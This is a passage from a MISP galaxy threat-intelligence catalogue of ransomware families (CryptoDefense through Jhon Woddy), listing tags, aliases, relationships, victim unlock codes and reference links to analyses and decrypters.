http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml
https://id-ransomware.blogspot.com/2016/04/cryptobit-ransomware.html

CryptoDefense

Ransomware no extension change

The tag is: *misp-galaxy:ransomware="CryptoDefense"*

Table 6082. Table References

Links
https://decrypter.emsisoft.com/
https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html

CryptoFinancial

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoFinancial"*

CryptoFinancial is also known as:

- Ranscam

View relationships graph

CryptoFinancial has relationships with:

- similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"

Table 6083. Table References

Links
http://blog.talosintel.com/2016/07/ranscam.html
https://nakedsecurity.sophos.com/2016/07/13/ransomware-that-demands-money-and-gives-you-back-nothing/
https://id-ransomware.blogspot.com/search?q=CryptoFinancial

CryptoFortress

Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB

The tag is: *misp-galaxy:ransomware="CryptoFortress"*

View relationships graph

CryptoFortress has relationships with:

- similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 6084. Table References

Links
https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html

CryptoGraphic Locker

Ransomware Has a GUI. Subvariants: CoinVault BitCryptor

The tag is: *misp-galaxy:ransomware="CryptoGraphic Locker"*

CryptoHost

Ransomware RAR's victim's files has a GUI

The tag is: *misp-galaxy:ransomware="CryptoHost"*

CryptoHost is also known as:

- Manamecrypt
- Telograph
- ROI Locker

View relationships graph

CryptoHost has relationships with:

- similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"

Table 6085. Table References

Links
http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html

CryptoJoker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoJoker"*

View relationships graph

CryptoJoker has relationships with:

- similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-

probability="likely"

Table 6086. Table References

Links
https://id-ransomware.blogspot.com/2017/07/cryptojoker-2017-ransomware.html

CryptoLocker

Ransomware no longer relevant

The tag is: *misp-galaxy:ransomware="CryptoLocker"*

View relationships graph

CryptoLocker has relationships with:

- similar: misp-galaxy:malpedia="CryptoLocker" with estimative-language:likelihood-probability="likely"

Table 6087. Table References

Links
https://www.fireeye.com/blog/executive-perspective/2014/08/your-locker-of-information-for-cryptolocker-decryption.html
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/

CryptoLocker 1.0.0

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 1.0.0"*

Table 6088. Table References

Links
https://twitter.com/malwrhunterteam/status/839747940122001408

CryptoLocker 5.1

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoLocker 5.1"*

Table 6089. Table References

Links
https://twitter.com/malwrhunterteam/status/782890104947867649

CryptoMix

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix"*

CryptoMix is also known as:

- Zeta

View relationships graph

CryptoMix has relationships with:

- similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Table 6090. Table References

Links
http://www.nyxbone.com/malware/CryptoMix.html
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://twitter.com/JakubKroustek/status/804009831518572544
https://www.bleepingcomputer.com/news/security/new-empty-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/0000-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/xzzx-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/test-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/system-cryptomix-ransomware-variant-released/

https://www.bleepingcomputer.com/news/security/mole66-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-backup-cryptomix-ransomware-variant-actively-infecting-users/
https://twitter.com/demonslay335/status/1072227523755470848
https://www.coveware.com/blog/cryptomix-ransomware-exploits-cancer-crowdfunding
https://www.bleepingcomputer.com/news/security/cryptomix-ransomware-exploits-sick-children-to-coerce-payments/

CryptoRansomeware

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRansomeware"*

View relationships graph

CryptoRansomeware has relationships with:

- similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"

Table 6091. Table References

Links
https://twitter.com/malwrhunterteam/status/817672617658347521

CryptoRoger

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoRoger"*

Table 6092. Table References

Links
http://www.bleepingcomputer.com/news/security/new-ransomware-called-cryptoroger-that-appends-crptrgr-to-encrypted-files/
https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html

CryptoShadow

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShadow"*

Table 6093. Table References

Links
https://twitter.com/struppigel/status/821992610164277248

CryptoShocker

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShocker"*

Table 6094. Table References

Links
http://www.bleepingcomputer.com/forums/t/617601/cryptoshocker-ransomware-help-and-support-topic-locked-attentionurl/
https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html

CryptoTorLocker2015

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTorLocker2015"*

Table 6095. Table References

Links
http://www.bleepingcomputer.com/forums/t/565020/new-cryptotorlocker2015-ransomware-discovered-and-easily-decrypted/
https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html

CryptoTrooper

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoTrooper"*

Table 6096. Table References

Links
http://news.softpedia.com/news/new-open-source-linux-ransomware-shows-infosec-community-divide-508669.shtml

CryptoWall 1

Ransomware, Infection by Phishing

The tag is: *misp-galaxy:ransomware="CryptoWall 1"*

CryptoWall 2

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 2"*

CryptoWall 3

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 3"*

Table 6097. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/
https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/

CryptoWall 4

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoWall 4"*

CryptXXX

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX"*

CryptXXX is also known as:

- CryptProjectXXX

View relationships graph

CryptXXX has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"

Table 6098. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 2.0

Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.

The tag is: *misp-galaxy:ransomware="CryptXXX 2.0"*

CryptXXX 2.0 is also known as:

- CryptProjectXXX

View relationships graph

CryptXXX 2.0 has relationships with:

- similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"

Table 6099. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx2-ransomware-authors-strike-back-against-free-decryption-tool
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.0

Ransomware Comes with Bedep

The tag is: *misp-galaxy:ransomware="CryptXXX 3.0"*

CryptXXX 3.0 is also known as:

- UltraDeCrypter
- UltraCrypter

Table 6100. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://www.bleepingcomputer.com/news/security/cryptxxx-updated-to-version-3-0-decryptors-no-longer-work/
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryptXXX 3.1

Ransomware StilerX credential stealing

The tag is: *misp-galaxy:ransomware="CryptXXX 3.1"*

Table 6101. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
https://www.proofpoint.com/us/threat-insight/post/cryptxxx-ransomware-learns-samba-other-new-tricks-with-version3100
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html

CryPy

Ransomware

The tag is: *misp-galaxy:ransomware="CryPy"*

Table 6102. Table References

Links
http://www.bleepingcomputer.com/news/security/ctb-faker-ransomware-does-a-poor-job-imitating-ctb-locker/
https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html

CTB-Faker

Ransomware

The tag is: *misp-galaxy:ransomware="CTB-Faker"*

CTB-Faker is also known as:

- Citroni

Table 6103. Table References

Links
https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html

CTB-Locker WEB

Ransomware websites only

The tag is: *misp-galaxy:ransomware="CTB-Locker WEB"*

Table 6104. Table References

Links
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/
https://github.com/eyecatchup/Critroni-php
https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html

CuteRansomware

Ransomware Based on my-Little-Ransomware

The tag is: *misp-galaxy:ransomware="CuteRansomware"*

CuteRansomware is also known as:

- my-Little-Ransomware

Table 6105. Table References

Links
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool
https://github.com/aaaddress1/my-Little-Ransomware

Cyber SpLiTTer Vbs

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Cyber SpLiTTer Vbs"*

Cyber SpLiTTer Vbs is also known as:

- CyberSplitter

View relationships graph

Cyber SpLiTTer Vbs has relationships with:

- similar: misp-galaxy:malpedia="CyberSplitter" with estimative-language:likelihood-probability="likely"

Table 6106. Table References

Links
https://twitter.com/struppigel/status/778871886616862720
https://twitter.com/struppigel/status/806758133720698881
https://id-ransomware.blogspot.com/2016/09/cyber-splitter-vbs-ransomware.html

Death Bitches

Ransomware

The tag is: *misp-galaxy:ransomware="Death Bitches"*

Table 6107. Table References

Links
https://twitter.com/JaromirHorejsi/status/815555258478981121

DeCrypt Protect

Ransomware

The tag is: *misp-galaxy:ransomware="DeCrypt Protect"*

Table 6108. Table References

Links
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/

DEDCryptor

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="DEDCryptor"*

Table 6109. Table References

Links
http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/
http://www.nyxbone.com/malware/DEDCryptor.html
https://id-ransomware.blogspot.com/2016/06/dedcryptor-ransomware-aes-256rsa-2.html

Demo

Ransomware only encrypts .jpg files

The tag is: *misp-galaxy:ransomware="Demo"*

Demo is also known as:

- CryptoDemo

Table 6110. Table References

Links

https://twitter.com/struppigel/status/798573300779745281
https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html

DetoxCrypto

Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte

The tag is: *misp-galaxy:ransomware="DetoxCrypto"*

Table 6111. Table References

Links
http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/
https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html

Digisom

Ransomware

The tag is: *misp-galaxy:ransomware="Digisom"*

Table 6112. Table References

Links
https://twitter.com/PolarToffee/status/829727052316160000

DirtyDecrypt

Ransomware

The tag is: *misp-galaxy:ransomware="DirtyDecrypt"*

Table 6113. Table References

Links
https://twitter.com/demonslay335/status/752586334527709184
https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html

DMALocker

Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0

The tag is: *misp-galaxy:ransomware="DMALocker"*

Table 6114. Table References

Links
https://decrypter.emsisoft.com/
https://github.com/hasherezade/dma_unlocker
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/

DMALocker 3.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMALocker 3.0"*

Table 6115. Table References

Links
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/

DNRansomware

Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT

The tag is: *misp-galaxy:ransomware="DNRansomware"*

Table 6116. Table References

Links
https://twitter.com/BleepinComputer/status/822500056511213568

Domino

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Domino"*

Table 6117. Table References

Links
http://www.nyxbone.com/malware/Domino.html
http://www.bleepingcomputer.com/news/security/the-curious-case-of-the-domino-ransomware-a-windows-crack-and-a-cow/
https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html

DoNotChange

Ransomware

The tag is: *misp-galaxy:ransomware="DoNotChange"*

Table 6118. Table References

Links
https://www.bleepingcomputer.com/forums/t/643330/donotchange-ransomware-id-7es642406cry-do-not-change-the-file-namecryp/
https://id-ransomware.blogspot.com/2017/03/donotchange-ransomware.html

DummyLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DummyLocker"*

Table 6119. Table References

Links
https://twitter.com/struppigel/status/794108322932785158

DXXD

Ransomware

The tag is: *misp-galaxy:ransomware="DXXD"*

Table 6120. Table References

Links
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/
https://www.bleepingcomputer.com/news/security/the-dxxd-ransomware-displays-legal-notice-before-users-login/
https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html

HiddenTear

Ransomware Open sourced C#

The tag is: *misp-galaxy:ransomware="HiddenTear"*

HiddenTear is also known as:

- Cryptear

- EDA2
- Hidden Tear

View relationships graph

HiddenTear has relationships with:

- similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 6121. Table References

Links
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EduCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="EduCrypt"*

EduCrypt is also known as:

- EduCrypter

Table 6122. Table References

Links
http://www.filedropper.com/decrypter_1
https://twitter.com/JakubKroustek/status/747031171347910656
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EiTest

Ransomware

The tag is: *misp-galaxy:ransomware="EiTest"*

Table 6123. Table References

Links
https://twitter.com/BroadAnalysis/status/845688819533930497
https://twitter.com/malwrhunterteam/status/845652520202616832

El-Polocker

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="El-Polocker"*

El-Polocker is also known as:

- Los Pollos Hermanos

Table 6124. Table References

Links
https://id-ransomware.blogspot.com/2016/07/el-polocker-ransomware-aes-450-aud.html

Encoder.xxxx

Ransomware Coded in GO

The tag is: *misp-galaxy:ransomware="Encoder.xxxx"*

Encoder.xxxx is also known as:

- Trojan.Encoder.6491

View relationships graph

Encoder.xxxx has relationships with:

- similar: misp-galaxy:ransomware="Windows_Security Ransonware" with estimative-language:likelihood-probability="likely"

Table 6125. Table References

Links
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
http://vms.drweb.ru/virus/?_is=1&i=8747343

encryptoJJS

Ransomware

The tag is: *misp-galaxy:ransomware="encryptoJJS"*

Table 6126. Table References

Links
https://id-ransomware.blogspot.com/2016/11/encryptojjs-ransomware.html

Enigma

Ransomware

The tag is: *misp-galaxy:ransomware="Enigma"*

Table 6127. Table References

Links
http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/
https://id-ransomware.blogspot.com/2016/05/enigma-ransomware-aes-128-0.html

Enjey

Ransomware Based on RemindMe

The tag is: *misp-galaxy:ransomware="Enjey"*

Table 6128. Table References

Links
https://twitter.com/malwrhunterteam/status/839022018230112256

Fairware

Ransomware Target Linux O.S.

The tag is: *misp-galaxy:ransomware="Fairware"*

Table 6129. Table References

Links
http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/

Fakben

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Fakben"*

Table 6130. Table References

Links
https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code
https://id-ransomware.blogspot.com/2016/07/fakben-team-ransomware-aes-256-1505.html

FakeCryptoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FakeCryptoLocker"*

Table 6131. Table References

Links
https://twitter.com/PolarToffee/status/812312402779836416

Fantom

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Fantom"*

Fantom is also known as:

- Comrad Circle

Table 6132. Table References

Links
http://www.bleepingcomputer.com/news/security/fantom-ransomware-encrypts-your-files-while-pretending-to-be-windows-update/

FenixLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FenixLocker"*

Table 6133. Table References

Links
https://decrypter.emsisoft.com/fenixlocker
https://twitter.com/fwosar/status/777197255057084416
https://id-ransomware.blogspot.com/2016/09/fenixlocker-ransomware.html

FILE FROZR

Ransomware RaaS

The tag is: *misp-galaxy:ransomware="FILE FROZR"*

FILE FROZR is also known as:

- FileFrozr

Table 6134. Table References

Links
https://twitter.com/rommeljoven17/status/846973265650335744
https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html

FileLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FileLocker"*

Table 6135. Table References

Links
https://twitter.com/jiriatvirlab/status/836616468775251968

FireCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="FireCrypt"*

View relationships graph

FireCrypt has relationships with:

- similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 6136. Table References

Links
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/
https://id-ransomware.blogspot.com/2017/01/bleedgreen-ransomware.html

Flyper

Ransomware Based on EDA2 / HiddenTear

The tag is: *misp-galaxy:ransomware="Flyper"*

Table 6137. Table References

Links

https://twitter.com/malwrhunterteam/status/773771485643149312
https://id-ransomware.blogspot.com/2016/09/flyper-ransomware.html

Fonco

Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents

The tag is: *misp-galaxy:ransomware="Fonco"*

FortuneCookie

Ransomware

The tag is: *misp-galaxy:ransomware="FortuneCookie"*

Table 6138. Table References

Links
https://twitter.com/struppigel/status/842302481774321664

Free-Freedom

Ransomware Unlock code is: adam or adamdude9

The tag is: *misp-galaxy:ransomware="Free-Freedom"*

Free-Freedom is also known as:

- Roga

View relationships graph

Free-Freedom has relationships with:

- similar: misp-galaxy:ransomware="Roga" with estimative-language:likelihood-probability="likely"

Table 6139. Table References

Links
https://twitter.com/BleepinComputer/status/812135608374226944
https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html

FSociety

Ransomware Based on EDA2 and RemindMe

The tag is: *misp-galaxy:ransomware="FSociety"*

Table 6140. Table References

Links
https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/
https://twitter.com/siri_urz/status/795969998707720193
https://id-ransomware.blogspot.com/2016/08/fsociety-ransomware.html

Fury

Ransomware

The tag is: *misp-galaxy:ransomware="Fury"*

Table 6141. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

GhostCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="GhostCrypt"*

Table 6142. Table References

Links
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip
http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/
https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html

Gingerbread

Ransomware

The tag is: *misp-galaxy:ransomware="Gingerbread"*

Table 6143. Table References

Links
https://twitter.com/ni_fi_70/status/796353782699425792

Globe v1

Ransomware

The tag is: *misp-galaxy:ransomware="Globe v1"*

Globe v1 is also known as:

- Purge

Table 6144. Table References

Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://id-ransomware.blogspot.com/2017/07/purge-kind-ransomware.html

GNL Locker

Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker

The tag is: *misp-galaxy:ransomware="GNL Locker"*

View relationships graph

GNL Locker has relationships with:

- similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 6145. Table References

Links
http://www.bleepingcomputer.com/forums/t/611342/gnl-locker-support-and-help-topic-locked-and-unlock-files-instructionshtml/
http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html

Gomasom

Ransomware

The tag is: *misp-galaxy:ransomware="Gomasom"*

Table 6146. Table References

Links
https://decrypter.emsisoft.com/
http://id-ransomware.blogspot.com/2016/05/gomasom-ransonware.html

Goopic

Ransomware

The tag is: *misp-galaxy:ransomware="Goopic"*

Table 6147. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

Gopher

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Gopher"*

Hacked

Ransomware Jigsaw Ransomware variant

The tag is: *misp-galaxy:ransomware="Hacked"*

Table 6148. Table References

Links
https://twitter.com/demonslay335/status/806878803507101696
http://id-ransomware.blogspot.com/2016/12/hackedlocker-ransomware.html

HappyDayzz

Ransomware

The tag is: *misp-galaxy:ransomware="HappyDayzz"*

Table 6149. Table References

Links
https://twitter.com/malwrhunterteam/status/847114064224497666
http://id-ransomware.blogspot.com/2017/03/happydayzz-blackjocker-ransomware.html

Harasom

Ransomware

The tag is: *misp-galaxy:ransomware="Harasom"*

Table 6150. Table References

Links
https://decrypter.emsisoft.com/

HDDCryptor

Ransomware Uses https://diskcryptor.net for full disk encryption

The tag is: *misp-galaxy:ransomware="HDDCryptor"*

HDDCryptor is also known as:

- Mamba

View relationships graph

HDDCryptor has relationships with:

- similar: misp-galaxy:malpedia="Mamba" with estimative-language:likelihood-probability="likely"

Table 6151. Table References

Links
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/]
http://id-ransomware.blogspot.com/2016/09/hddcryptor-ransomware-mbr.html

Heimdall

Ransomware File marker: "Heimdall---"

The tag is: *misp-galaxy:ransomware="Heimdall"*

Table 6152. Table References

Links

https://www.bleepingcomputer.com/news/security/heimdall-open-source-php-ransomware-targets-web-servers/
https://id-ransomware.blogspot.com/2016/11/heimdall-ransomware.html

Help_dcfile

Ransomware

The tag is: *misp-galaxy:ransomware="Help_dcfile"*

Table 6153. Table References

Links
http://id-ransomware.blogspot.com/2016/09/helpdcfile-ransomware.html

Herbst

Ransomware

The tag is: *misp-galaxy:ransomware="Herbst"*

View relationships graph

Herbst has relationships with:

- similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"

Table 6154. Table References

Links
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware
https://id-ransomware.blogspot.com/2016/06/herbst-autumn-ransomware-aes-256-01.html

Hi Buddy!

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Hi Buddy!"*

Table 6155. Table References

Links
http://www.nyxbone.com/malware/hibuddy.html
http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html

Hitler

Ransomware Deletes files

The tag is: *misp-galaxy:ransomware="Hitler"*

Table 6156. Table References

Links
http://www.bleepingcomputer.com/news/security/development-version-of-the-hitler-ransomware-discovered/
https://twitter.com/jiriatvirlab/status/825310545800740864
http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html

HolyCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="HolyCrypt"*

View relationships graph

HolyCrypt has relationships with:

- similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"

Table 6157. Table References

Links
http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/
https://id-ransomware.blogspot.com/2016/07/holycrypt-ransomware.html

HTCryptor

Ransomware Includes a feature to disable the victim's windows firewall Modified in-dev HiddenTear

The tag is: *misp-galaxy:ransomware="HTCryptor"*

Table 6158. Table References

Links
https://twitter.com/BleepinComputer/status/803288396814839808

HydraCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="HydraCrypt"*

Table 6159. Table References

Links
https://decrypter.emsisoft.com/
http://www.malware-traffic-analysis.net/2016/02/03/index2.html
https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html

iLock

Ransomware

The tag is: *misp-galaxy:ransomware="iLock"*

Table 6160. Table References

Links
https://twitter.com/BleepinComputer/status/817085367144873985

iLockLight

Ransomware

The tag is: *misp-galaxy:ransomware="iLockLight"*

International Police Association

Ransomware CryptoTorLocker2015 variant

The tag is: *misp-galaxy:ransomware="International Police Association"*

Table 6161. Table References

Links
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe

iRansom

Ransomware

The tag is: *misp-galaxy:ransomware="iRansom"*

Table 6162. Table References

Links
https://twitter.com/demonslay335/status/796134264744083460
http://id-ransomware.blogspot.com/2016/11/iransom-ransomware.html

JagerDecryptor

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="JagerDecryptor"*

Table 6163. Table References

Links
https://twitter.com/JakubKroustek/status/757873976047697920

Jeiphoos

Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.

The tag is: *misp-galaxy:ransomware="Jeiphoos"*

Jeiphoos is also known as:

- Encryptor RaaS
- Sarento

Table 6164. Table References

Links
http://www.nyxbone.com/malware/RaaS.html
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/

Jhon Woddy

Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH

The tag is: *misp-galaxy:ransomware="Jhon Woddy"*

Table 6165. Table References

Links
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip
https://twitter.com/BleepinComputer/status/822509105487245317

